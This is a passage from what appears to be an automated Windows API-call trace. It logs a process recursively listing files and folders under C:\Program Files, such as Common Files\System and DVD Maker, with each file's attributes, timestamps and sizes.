ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcf.dll", cAlternateFileName="")) returned 1 [0273.507] GetLastError () returned 0x12 [0273.507] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf732e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfbf732e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e6a9c0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll", cAlternateFileName="")) returned 1 [0273.507] GetLastError () returned 0x12 [0273.507] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0273.507] GetLastError () returned 0x12 [0273.507] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc0a3dca, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc0a3dca, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80edd5b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0273.507] GetLastError () returned 0x12 [0273.507] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84872aa8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84872aa8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84872aa8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcs.dll", cAlternateFileName="")) returned 1 [0273.507] GetLastError () returned 0x12 [0273.507] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3801e6, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc3801e6, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x345eeb10, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0273.507] GetLastError () returned 0x12 [0273.507] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfce53b36, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfce53b36, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80fc2d90, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0273.507] GetLastError () returned 0x12 [0273.508] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7d9276, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd7d9276, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x81dbdf30, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0273.508] GetLastError () returned 0x12 [0273.508] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0d295c, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc0d295c, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3497fc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0273.508] GetLastError () returned 0x12 [0273.508] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93fdbb10, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93fdbb10, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94001c70, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0273.508] GetLastError () returned 0x12 [0273.508] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6a878e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd6a878e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x835d7620, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0273.508] GetLastError () returned 0x12 [0273.508] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0273.508] GetLastError () returned 0x12 [0273.508] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0 [0273.508] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.508] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.508] FindNextFileW (in: hFindFile=0x806c58, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI", cAlternateFileName="")) returned 1 [0273.508] GetLastError () returned 0x12 [0273.508] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0273.634] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.643] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0273.652] GetLastError () returned 0x12 [0273.670] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.698] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.698] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 1 [0273.698] GetLastError () returned 0x12 [0273.698] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.698] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x357c8f8 | out: hHeap=0x1c0000) returned 1 [0273.698] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0273.698] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0273.701] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.702] FindNextFileW (in: hFindFile=0x806c58, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0273.702] GetLastError () returned 0x12 [0273.702] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0273.702] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.702] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0273.702] GetLastError () returned 0x12 [0273.703] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.703] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.703] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0273.704] GetLastError () returned 0x12 [0273.704] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.704] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x357c8f8 | out: hHeap=0x1c0000) returned 1 [0273.704] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad34e79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad34e79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad5afda, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0273.704] GetLastError () returned 0x12 [0273.704] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0273.704] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.705] FindNextFileW (in: hFindFile=0x806c58, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5390a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc5390a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xd8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0273.705] GetLastError () returned 0x12 [0273.705] FindClose (in: hFindFile=0x806c58 | out: hFindFile=0x806c58) returned 1 [0273.705] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0273.705] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0273.705] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0273.705] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x353c8d8 | out: hHeap=0x1c0000) returned 1 [0273.705] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x44, dwReserved1=0x44, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0273.705] GetLastError () returned 0x12 [0273.706] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*", lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ef07a9b, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ef07a9b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0273.706] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ef07a9b, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ef07a9b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.706] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed7565, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0ed7565, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0efd6c5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="audiodepthconverter.ax", cAlternateFileName="")) returned 1 [0273.706] GetLastError () returned 0x12 [0273.868] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\*", lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c58 [0273.868] FindNextFileW (in: hFindFile=0x806c58, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.868] FindNextFileW (in: hFindFile=0x806c58, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe.mui", cAlternateFileName="")) returned 1 [0273.869] GetLastError () returned 0x12 [0273.869] FindClose (in: hFindFile=0x806c58 | out: hFindFile=0x806c58) returned 1 [0273.869] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0273.869] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd559b52d, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd559b52d, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xddb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eurosti.TTF", cAlternateFileName="")) returned 1 [0273.869] GetLastError () returned 0x12 [0273.869] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\*", lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c58 [0273.869] FindNextFileW (in: hFindFile=0x806c58, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.869] FindNextFileW (in: hFindFile=0x806c58, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93dab239, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93dab239, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68934cfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.fxh", cAlternateFileName="")) returned 1 [0273.869] GetLastError () returned 0x12 [0273.869] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0273.913] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, 